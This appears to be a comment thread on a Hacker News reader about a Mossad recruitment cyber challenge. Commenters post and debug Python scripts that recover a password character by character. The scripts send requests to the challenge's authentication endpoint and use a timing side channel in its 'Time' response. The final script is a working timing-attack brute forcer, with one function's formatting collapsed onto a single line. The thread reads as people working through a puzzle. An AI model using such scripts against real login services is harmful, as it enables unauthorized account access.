Skip to content

Comment on Israeli Mossad launches cyber challengeparent

Comments

Not sure I understand the bruthforce code. I'm trying to get the first char. I've written something along

import requests

import string

#a-zA-Z!@#$%^&*()_-=

printables_chars = string.printable

agent = 'ed9ae2c0-9b15-4556-a393-23d500675d4b'

for i, char in enumerate(printables_chars):

    print('run {}. char {}'.format(i,char))

    result = requests.post('http://35.246.158.51:8070/auth/v1_1',
                  data={"Seed": "d14236b60e0f4aef94499cb648a5f522", "Password": char})

    if(result.json()['Time'] > 100000000):

        # This prints randomly for some cases and others doesn't

        print(result.json()['Time'])

On Python I used this:

CHARACTERS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|\/?,.<>`~"

URL = "http://35.246.158.51:8070/auth/v1_1"

HEADERS = {'User-Agent' : 'ed9ae2c0-9b15-4556-a393-23d500675d4b', 'content-type' : 'application/json; charset=utf-8' }

PAYLOAD ={}

for i in range(len(CHARACTERS)):

    PAYLOAD['Seed']     = "6711d2ec0d724396ad1570fcfb431443"

    PAYLOAD['Password'] = "" + CHARACTERS[i]

    r = requests.post(url=URL, json=PAYLOAD, headers=HEADERS)

    result = r.json()

    delay = result['Time']

    print(str(PAYLOAD) + " - " + str(delay))

But for first character I don't see really huge DELAY response, always I have few characters with big delay and not only one.

That's the final (Still hackish code but does the work)

import requests

CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"

URL = "http://35.246.158.51:8070/auth/v1_1"

HEADERS = {'User-Agent' : 'ed9ae2c0-9b15-4556-a393-23d500675d4b', 'content-type' : 'application/json; charset=utf-8' }

PAYLOAD ={}

DISCOVERED_PASSWORD = "f"

def check(chars): result_chars = [] for i in range(len(chars)): PAYLOAD['Seed'] = "d14236b60e0f4aef94499cb648a5f522"

        PAYLOAD['Password'] = DISCOVERED_PASSWORD + chars[i]

        r = requests.post(url=URL, json=PAYLOAD, headers=HEADERS)

        result = r.json()

        delay = result['Time']

        if(delay > len(PAYLOAD['Password'])*30000000):

            result_chars.append(chars[i])

    return result_chars

for i in range(40):
    res = check(CHARACTERS)

    for i in range(10):

        res = check(res)

        print(res)


    DISCOVERED_PASSWORD += res[0]

    print("FOUND ONE MORE! {}".format(DISCOVERED_PASSWORD))

print(DISCOVERED_PASSWORD)

I think u can remove Big letters and characters need only abc...1234 numb it's faster. Incredible code.

Yep - The first character is where my mistake was. Thank you.

i've added this to your code to make it easier to see what is the next char - if(delay > len(PAYLOAD['Password'])*30000479):

AboutSource Built by g1lg1l

Hackerly is an independent reader for Hacker News, built on the public HN API. Not affiliated with Y Combinator.